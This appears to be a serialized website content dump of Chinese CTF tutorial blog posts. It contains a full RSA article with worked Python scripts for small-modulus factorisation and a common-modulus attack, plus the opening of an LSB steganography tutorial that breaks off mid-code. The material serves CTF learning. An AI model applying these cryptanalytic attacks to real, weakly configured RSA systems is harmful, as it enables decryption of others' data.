ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10876,"title":10877,"body":10878,"description":11845,"extension":1478,"meta":11846,"navigation":740,"ogImage":8733,"path":11850,"seo":11851,"stem":11852,"__hash__":11853},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10879,"toc":11833},[10880,10884,10887,10890,10913,10926,10928,10944,10948,10954,10957,10972,10976,10981,10986,11075,11077,11083,11090,11094,11099,11104,11108,11127,11129,11135,11141,11145,11150,11235,11237,11243,11252,11256,11264,11293,11297,11301,11311,11317,11321,11326,11331,11338,11344,11347,11353,11357,11520,11522,11528,11532,11599,11601,11662,11671,11673,11675,11681,11684,11688,11693,11707,11709,11715,11719,11728,11778,11780,11786,11790,11822,11824,11831],[10,10881,10883],{"id":10882},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10885,10886],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10888,10889],{},"DH 最小实现（见密码学全景篇）：",[19,10891,10893],{"className":721,"code":10892,"language":723,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[26,10894,10895,10899,10903,10908],{"__ignoreMap":24},[29,10896,10897],{"class":31,"line":32},[29,10898,4312],{},[29,10900,10901],{"class":31,"line":38},[29,10902,4327],{},[29,10904,10905],{"class":31,"line":111},[29,10906,10907],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[29,10909,10910],{"class":31,"line":157},[29,10911,10912],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10914,10915,10916,10919,10920,1728,10922,10925],{},"RSA 的安全基础是：已知 ",[26,10917,10918],{},"n"," 求 ",[26,10921,15],{},[26,10923,10924],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10927,1562],{"id":1561},[19,10929,10930],{"className":82,"code":3901,"language":84,"meta":24,"style":24},[26,10931,10932],{"__ignoreMap":24},[29,10933,10934,10936,10938,10940,10942],{"class":31,"line":32},[29,10935,2860],{"class":91},[29,10937,1578],{"class":95},[29,10939,3912],{"class":95},[29,10941,3915],{"class":95},[29,10943,3918],{"class":95},[10,10945,10947],{"id":10946},"三核心知识rsa-公式","三、核心知识：RSA 公式",[19,10949,10952],{"className":10950,"code":10951,"language":300,"meta":24},[298],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[26,10953,10951],{"__ignoreMap":24},[15,10955,10956],{},"三个必须会用的 Python 运算：",[19,10958,10960],{"className":721,"code":10959,"language":723,"meta":24,"style":24},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[26,10961,10962,10967],{"__ignoreMap":24},[29,10963,10964],{"class":31,"line":32},[29,10965,10966],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[29,10968,10969],{"class":31,"line":38},[29,10970,10971],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10973,10975],{"id":10974},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10977,10978,10980],{},[67,10979,251],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10982,10983,10985],{},[67,10984,261],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[19,10987,10989],{"className":721,"code":10988,"language":723,"meta":24,"style":24},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[26,10990,10991,10996,11001,11006,11011,11016,11021,11026,11030,11035,11040,11045,11050,11055,11060,11065,11070],{"__ignoreMap":24},[29,10992,10993],{"class":31,"line":32},[29,10994,10995],{},"p, q, e = 61, 53, 17\n",[29,10997,10998],{"class":31,"line":38},[29,10999,11000],{},"n = p * q\n",[29,11002,11003],{"class":31,"line":111},[29,11004,11005],{},"# n = 3233，公钥模数。\n",[29,11007,11008],{"class":31,"line":157},[29,11009,11010],{},"phi = (p - 1) * (q - 1)\n",[29,11012,11013],{"class":31,"line":163},[29,11014,11015],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[29,11017,11018],{"class":31,"line":169},[29,11019,11020],{},"d = pow(e, -1, phi)\n",[29,11022,11023],{"class":31,"line":215},[29,11024,11025],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[29,11027,11028],{"class":31,"line":221},[29,11029,741],{"emptyLinePlaceholder":740},[29,11031,11032],{"class":31,"line":227},[29,11033,11034],{},"m = 65\n",[29,11036,11037],{"class":31,"line":773},[29,11038,11039],{},"c = pow(m, e, n)\n",[29,11041,11042],{"class":31,"line":779},[29,11043,11044],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[29,11046,11047],{"class":31,"line":785},[29,11048,11049],{},"print(\"n =\", n)\n",[29,11051,11052],{"class":31,"line":791},[29,11053,11054],{},"print(\"phi =\", phi)\n",[29,11056,11057],{"class":31,"line":797},[29,11058,11059],{},"print(\"d =\", d)\n",[29,11061,11062],{"class":31,"line":803},[29,11063,11064],{},"print(\"c =\", c)\n",[29,11066,11067],{"class":31,"line":809},[29,11068,11069],{},"print(\"解密 =\", pow(c, d, n))\n",[29,11071,11072],{"class":31,"line":815},[29,11073,11074],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,11076,1314],{},[19,11078,11081],{"className":11079,"code":11080,"language":300,"meta":24},[298],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[26,11082,11080],{"__ignoreMap":24},[15,11084,11085,11086,11089],{},"攻击者只有 ",[26,11087,11088],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,11091,11093],{"id":11092},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,11095,11096,11098],{},[67,11097,251],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,11100,11101,11103],{},[67,11102,261],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[76,11105,11107],{"id":11106},"_51-用-sympy-分解","5.1 用 sympy 分解",[19,11109,11111],{"className":721,"code":11110,"language":723,"meta":24,"style":24},"from sympy import factorint\n\nprint(factorint(3233))\n",[26,11112,11113,11118,11122],{"__ignoreMap":24},[29,11114,11115],{"class":31,"line":32},[29,11116,11117],{},"from sympy import factorint\n",[29,11119,11120],{"class":31,"line":38},[29,11121,741],{"emptyLinePlaceholder":740},[29,11123,11124],{"class":31,"line":111},[29,11125,11126],{},"print(factorint(3233))\n",[15,11128,1314],{},[19,11130,11133],{"className":11131,"code":11132,"language":300,"meta":24},[298],"{53: 1, 61: 1}\n",[26,11134,11132],{"__ignoreMap":24},[15,11136,11137,11138,127],{},"得到 ",[26,11139,11140],{},"p=53, q=61",[76,11142,11144],{"id":11143},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,11146,11147,11149],{},[67,11148,261],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[19,11151,11153],{"className":721,"code":11152,"language":723,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[26,11154,11155,11160,11165,11169,11174,11179,11184,11189,11193,11197,11201,11206,11211,11215,11220,11225,11230],{"__ignoreMap":24},[29,11156,11157],{"class":31,"line":32},[29,11158,11159],{},"from Crypto.Util.number import long_to_bytes\n",[29,11161,11162],{"class":31,"line":38},[29,11163,11164],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[29,11166,11167],{"class":31,"line":111},[29,11168,741],{"emptyLinePlaceholder":740},[29,11170,11171],{"class":31,"line":157},[29,11172,11173],{},"n = 3233\n",[29,11175,11176],{"class":31,"line":163},[29,11177,11178],{},"e = 17\n",[29,11180,11181],{"class":31,"line":169},[29,11182,11183],{},"c = 2790\n",[29,11185,11186],{"class":31,"line":215},[29,11187,11188],{},"p, q = 53, 61\n",[29,11190,11191],{"class":31,"line":221},[29,11192,741],{"emptyLinePlaceholder":740},[29,11194,11195],{"class":31,"line":227},[29,11196,11010],{},[29,11198,11199],{"class":31,"line":773},[29,11200,11020],{},[29,11202,11203],{"class":31,"line":779},[29,11204,11205],{},"m = pow(c, d, n)\n",[29,11207,11208],{"class":31,"line":785},[29,11209,11210],{},"# 解密：m = c^d mod n。\n",[29,11212,11213],{"class":31,"line":791},[29,11214,741],{"emptyLinePlaceholder":740},[29,11216,11217],{"class":31,"line":797},[29,11218,11219],{},"print(\"m =\", m)\n",[29,11221,11222],{"class":31,"line":803},[29,11223,11224],{},"print(long_to_bytes(m))\n",[29,11226,11227],{"class":31,"line":809},[29,11228,11229],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[29,11231,11232],{"class":31,"line":815},[29,11233,11234],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,11236,1314],{},[19,11238,11241],{"className":11239,"code":11240,"language":300,"meta":24},[298],"m = 65\nb'A'\n",[26,11242,11240],{"__ignoreMap":24},[15,11244,11245,11248,11249,11251],{},[26,11246,11247],{},"65"," 对应的 ASCII 字符是 ",[26,11250,3349],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[76,11253,11255],{"id":11254},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,11257,11258,11259,11263],{},"如果 n 太大本地分解不动，去 ",[706,11260,11261],{"href":11261,"rel":11262},"https://factordb.com",[3926]," 粘贴 n 查询，或：",[19,11265,11267],{"className":721,"code":11266,"language":723,"meta":24,"style":24},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[26,11268,11269,11274,11278,11283,11288],{"__ignoreMap":24},[29,11270,11271],{"class":31,"line":32},[29,11272,11273],{},"from factordb.factordb import FactorDB\n",[29,11275,11276],{"class":31,"line":38},[29,11277,741],{"emptyLinePlaceholder":740},[29,11279,11280],{"class":31,"line":111},[29,11281,11282],{},"f = FactorDB(n)\n",[29,11284,11285],{"class":31,"line":157},[29,11286,11287],{},"f.connect()\n",[29,11289,11290],{"class":31,"line":163},[29,11291,11292],{},"p, q = f.get_factor_list()\n",[10,11294,11296],{"id":11295},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[76,11298,11300],{"id":11299},"_61-场景","6.1 场景",[15,11302,11303,11304,11306,11307,11310],{},"同一个 ",[26,11305,10918],{},"、两个互质的 ",[26,11308,11309],{},"e1, e2","、同一明文：",[19,11312,11315],{"className":11313,"code":11314,"language":300,"meta":24},[298],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[26,11316,11314],{"__ignoreMap":24},[76,11318,11320],{"id":11319},"_62-数学原理","6.2 数学原理",[15,11322,11323,11325],{},[67,11324,251],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11327,11328,11330],{},[67,11329,261],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11332,11333,11334,11337],{},"扩展欧几里得算法求出 ",[26,11335,11336],{},"a, b"," 使：",[19,11339,11342],{"className":11340,"code":11341,"language":300,"meta":24},[298],"a × e1 + b × e2 = 1\n",[26,11343,11341],{"__ignoreMap":24},[15,11345,11346],{},"则：",[19,11348,11351],{"className":11349,"code":11350,"language":300,"meta":24},[298],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[26,11352,11350],{"__ignoreMap":24},[76,11354,11356],{"id":11355},"_63-完整代码","6.3 完整代码",[19,11358,11360],{"className":721,"code":11359,"language":723,"meta":24,"style":24},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[26,11361,11362,11367,11372,11377,11382,11387,11392,11396,11400,11405,11409,11414,11419,11423,11428,11433,11438,11443,11447,11452,11457,11462,11467,11472,11477,11482,11487,11491,11496,11500,11505,11510,11515],{"__ignoreMap":24},[29,11363,11364],{"class":31,"line":32},[29,11365,11366],{},"def egcd(a, b):\n",[29,11368,11369],{"class":31,"line":38},[29,11370,11371],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[29,11373,11374],{"class":31,"line":111},[29,11375,11376],{},"    if b == 0:\n",[29,11378,11379],{"class":31,"line":157},[29,11380,11381],{},"        return a, 1, 0\n",[29,11383,11384],{"class":31,"line":163},[29,11385,11386],{},"    g, x, y = egcd(b, a % b)\n",[29,11388,11389],{"class":31,"line":169},[29,11390,11391],{},"    return g, y, x - (a // b) * y\n",[29,11393,11394],{"class":31,"line":215},[29,11395,741],{"emptyLinePlaceholder":740},[29,11397,11398],{"class":31,"line":221},[29,11399,11173],{},[29,11401,11402],{"class":31,"line":227},[29,11403,11404],{},"e1, e2 = 17, 19\n",[29,11406,11407],{"class":31,"line":773},[29,11408,11034],{},[29,11410,11411],{"class":31,"line":779},[29,11412,11413],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[29,11415,11416],{"class":31,"line":785},[29,11417,11418],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[29,11420,11421],{"class":31,"line":791},[29,11422,741],{"emptyLinePlaceholder":740},[29,11424,11425],{"class":31,"line":797},[29,11426,11427],{},"_, a, b = egcd(e1, e2)\n",[29,11429,11430],{"class":31,"line":803},[29,11431,11432],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[29,11434,11435],{"class":31,"line":809},[29,11436,11437],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[29,11439,11440],{"class":31,"line":815},[29,11441,11442],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[29,11444,11445],{"class":31,"line":821},[29,11446,741],{"emptyLinePlaceholder":740},[29,11448,11449],{"class":31,"line":827},[29,11450,11451],{},"# 负指数要先取模逆元\n",[29,11453,11454],{"class":31,"line":833},[29,11455,11456],{},"if a \u003C 0:\n",[29,11458,11459],{"class":31,"line":839},[29,11460,11461],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[29,11463,11464],{"class":31,"line":845},[29,11465,11466],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[29,11468,11469],{"class":31,"line":851},[29,11470,11471],{},"else:\n",[29,11473,11474],{"class":31,"line":857},[29,11475,11476],{},"    c1 = pow(c1, a, n)\n",[29,11478,11479],{"class":31,"line":863},[29,11480,11481],{},"if b \u003C 0:\n",[29,11483,11484],{"class":31,"line":869},[29,11485,11486],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[29,11488,11489],{"class":31,"line":875},[29,11490,11471],{},[29,11492,11493],{"class":31,"line":1256},[29,11494,11495],{},"    c2 = pow(c2, b, n)\n",[29,11497,11498],{"class":31,"line":1262},[29,11499,741],{"emptyLinePlaceholder":740},[29,11501,11502],{"class":31,"line":1268},[29,11503,11504],{},"recovered = (c1 * c2) % n\n",[29,11506,11507],{"class":31,"line":1274},[29,11508,11509],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[29,11511,11512],{"class":31,"line":1280},[29,11513,11514],{},"print(\"恢复 m =\", recovered)\n",[29,11516,11517],{"class":31,"line":1286},[29,11518,11519],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11521,1314],{},[19,11523,11526],{"className":11524,"code":11525,"language":300,"meta":24},[298],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[26,11527,11525],{"__ignoreMap":24},[10,11529,11531],{"id":11530},"七其他常见攻击速查","七、其他常见攻击速查",[1325,11533,11534,11544],{},[1328,11535,11536],{},[1331,11537,11538,11541],{},[1334,11539,11540],{},"场景",[1334,11542,11543],{},"攻击",[1344,11545,11546,11564,11572,11580,11588],{},[1331,11547,11548,11557],{},[1349,11549,11550,11553,11554],{},[26,11551,11552],{},"e=3"," 且 ",[26,11555,11556],{},"m^e \u003C n",[1349,11558,11559,11560,11563],{},"直接开立方根（",[26,11561,11562],{},"gmpy2.iroot(c, 3)","）",[1331,11565,11566,11569],{},[1349,11567,11568],{},"同一明文发给 3 个不同 n",[1349,11570,11571],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[1331,11573,11574,11577],{},[1349,11575,11576],{},"e 特别大（d 很小）",[1349,11578,11579],{},"Wiener 攻击（连分数）",[1331,11581,11582,11585],{},[1349,11583,11584],{},"p、q 很接近",[1349,11586,11587],{},"Fermat 分解（平方差）",[1331,11589,11590,11593],{},[1349,11591,11592],{},"泄露 dp",[1349,11594,11595,11596],{},"枚举 k，",[26,11597,11598],{},"p = (e*dp-1)//k + 1",[10,11600,3457],{"id":3456},[1325,11602,11603,11613],{},[1328,11604,11605],{},[1331,11606,11607,11609,11611],{},[1334,11608,2492],{},[1334,11610,3468],{},[1334,11612,3471],{},[1344,11614,11615,11633,11649],{},[1331,11616,11617,11620,11631],{},[1349,11618,11619],{},"pycryptodome",[1349,11621,11622,1728,11625,1728,11628],{},[26,11623,11624],{},"long_to_bytes",[26,11626,11627],{},"inverse",[26,11629,11630],{},"pow(m,e,n)",[1349,11632,3500],{},[1331,11634,11635,11638,11644],{},[1349,11636,11637],{},"sympy",[1349,11639,11640,11643],{},[26,11641,11642],{},"factorint"," 分解",[1349,11645,11646],{},[26,11647,11648],{},"factorint(3233)",[1331,11650,11651,11654,11657],{},[1349,11652,11653],{},"RsaCtfTool",[1349,11655,11656],{},"自动尝试多种攻击、从公钥文件读取",[1349,11658,11659],{},[26,11660,11661],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11663,11664,11665,11670],{},"FactorDB（",[706,11666,11669],{"href":11667,"rel":11668},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3926],"https://factordb.com）用于查"," n 的已知分解。",[10,11672,10770],{"id":10769},[15,11674,2581],{},[19,11676,11679],{"className":11677,"code":11678,"language":300,"meta":24},[298],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[26,11680,11678],{"__ignoreMap":24},[15,11682,11683],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[76,11685,11687],{"id":11686},"第一步分解","第一步：分解",[15,11689,11690,11692],{},[67,11691,261],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[19,11694,11696],{"className":721,"code":11695,"language":723,"meta":24,"style":24},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[26,11697,11698,11702],{"__ignoreMap":24},[29,11699,11700],{"class":31,"line":32},[29,11701,11117],{},[29,11703,11704],{"class":31,"line":38},[29,11705,11706],{},"print(factorint(1000000016000000063))\n",[15,11708,1314],{},[19,11710,11713],{"className":11711,"code":11712,"language":300,"meta":24},[298],"{1000000007: 1, 1000000009: 1}\n",[26,11714,11712],{"__ignoreMap":24},[76,11716,11718],{"id":11717},"第二步解密","第二步：解密",[15,11720,11721,11723,11724,11727],{},[67,11722,261],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[26,11725,11726],{},"b'flag'"," 说明解密成功。",[19,11729,11731],{"className":721,"code":11730,"language":723,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[26,11732,11733,11737,11741,11746,11751,11756,11761,11765,11769,11773],{"__ignoreMap":24},[29,11734,11735],{"class":31,"line":32},[29,11736,11159],{},[29,11738,11739],{"class":31,"line":38},[29,11740,741],{"emptyLinePlaceholder":740},[29,11742,11743],{"class":31,"line":111},[29,11744,11745],{},"n = 1000000016000000063\n",[29,11747,11748],{"class":31,"line":157},[29,11749,11750],{},"e = 65537\n",[29,11752,11753],{"class":31,"line":163},[29,11754,11755],{},"c = 856868007642616233\n",[29,11757,11758],{"class":31,"line":169},[29,11759,11760],{},"p, q = 1000000007, 1000000009\n",[29,11762,11763],{"class":31,"line":215},[29,11764,741],{"emptyLinePlaceholder":740},[29,11766,11767],{"class":31,"line":221},[29,11768,11010],{},[29,11770,11771],{"class":31,"line":227},[29,11772,11020],{},[29,11774,11775],{"class":31,"line":773},[29,11776,11777],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11779,1314],{},[19,11781,11784],{"className":11782,"code":11783,"language":300,"meta":24},[298],"b'flag'\n",[26,11785,11783],{"__ignoreMap":24},[76,11787,11789],{"id":11788},"第三步工具验证","第三步：工具验证",[19,11791,11793],{"className":82,"code":11792,"language":84,"meta":24,"style":24},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[26,11794,11795],{"__ignoreMap":24},[29,11796,11797,11800,11802,11805,11807,11810,11813,11816,11819],{"class":31,"line":32},[29,11798,11799],{"class":91},"./RsaCtfTool.py",[29,11801,1706],{"class":116},[29,11803,11804],{"class":116}," 1000000016000000063",[29,11806,5005],{"class":116},[29,11808,11809],{"class":116}," 65537",[29,11811,11812],{"class":116}," --uncipher",[29,11814,11815],{"class":116}," 856868007642616233",[29,11817,11818],{"class":116}," --attack",[29,11820,11821],{"class":95}," all\n",[10,11823,3649],{"id":3648},[15,11825,11826,11827,11830],{},"RSA 解题顺序：",[67,11828,11829],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1463,11832,4663],{},{"title":24,"searchDepth":38,"depth":38,"links":11834},[11835,11836,11837,11838,11839,11840,11841,11842,11843,11844],{"id":10882,"depth":111,"text":10883},{"id":1561,"depth":111,"text":1562},{"id":10946,"depth":111,"text":10947},{"id":10974,"depth":111,"text":10975},{"id":11092,"depth":111,"text":11093},{"id":11295,"depth":111,"text":11296},{"id":11530,"depth":111,"text":11531},{"id":3456,"depth":111,"text":3457},{"id":10769,"depth":111,"text":10770},{"id":3648,"depth":111,"text":3649},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1480,"image":8733,"alt":11847,"tags":11848,"published":740},"RSA 深入实战",[550,4679,11849,1486],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10877,"description":11845},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11855,"title":11856,"body":11857,"description":12867,"extension":1478,"meta":12868,"navigation":740,"ogImage":3679,"path":12872,"seo":12873,"stem":12874,"__hash__":12875},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11858,"toc":12857},[11859,11863,11869,11871,11905,11909,11913,11916,11922,11926,11931,12078,12088,12092,12097,12102,12205,12207,12212,12216,12229,12235,12239,12244,12249,12253,12256,12262,12269,12273,12278,12316,12318,12324,12327,12333,12337,12342,12399,12402,12408,12411,12449,12451,12457,12460,12464,12473,12528,12530,12536,12543,12547,12552,12557,12560,12658,12665,12671,12682,12684,12749,12753,12758,12763,12767,12769,12809,12812,12817,12823,12838,12841,12843,12854],[10,11860,11862],{"id":11861},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11864,11865,11866,11868],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[26,11867,4760],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11870,1562],{"id":1561},[19,11872,11874],{"className":82,"code":11873,"language":84,"meta":24,"style":24},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[26,11875,11876,11889,11897],{"__ignoreMap":24},[29,11877,11878,11880,11882,11884,11886],{"class":31,"line":32},[29,11879,1575],{"class":91},[29,11881,1578],{"class":95},[29,11883,1581],{"class":95},[29,11885,1584],{"class":95},[29,11887,11888],{"class":95}," binwalk\n",[29,11890,11891,11893,11895],{"class":31,"line":38},[29,11892,2860],{"class":91},[29,11894,1578],{"class":95},[29,11896,4800],{"class":95},[29,11898,11899,11901,11903],{"class":31,"line":111},[29,11900,5434],{"class":91},[29,11902,1578],{"class":95},[29,11904,5439],{"class":95},[10,11906,11908],{"id":11907},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[76,11910,11912],{"id":11911},"_31-原理","3.1 原理",[15,11914,11915],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[19,11917,11920],{"className":11918,"code":11919,"language":300,"meta":24},[298],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[26,11921,11919],{"__ignoreMap":24},[76,11923,11925],{"id":11924},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11927,11928,11930],{},[67,11929,251],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[19,11932,11934],{"className":721,"code":11933,"language":723,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[26,11935,11936,11940,11945,11949,11953,11958,11962,11966,11970,11975,11979,11984,11988,11993,11997,12001,12005,12009,12013,12017,12022,12026,12030,12035,12039,12043,12048,12052,12056,12060,12065,12069,12074],{"__ignoreMap":24},[29,11937,11938],{"class":31,"line":32},[29,11939,5071],{},[29,11941,11942],{"class":31,"line":38},[29,11943,11944],{},"# 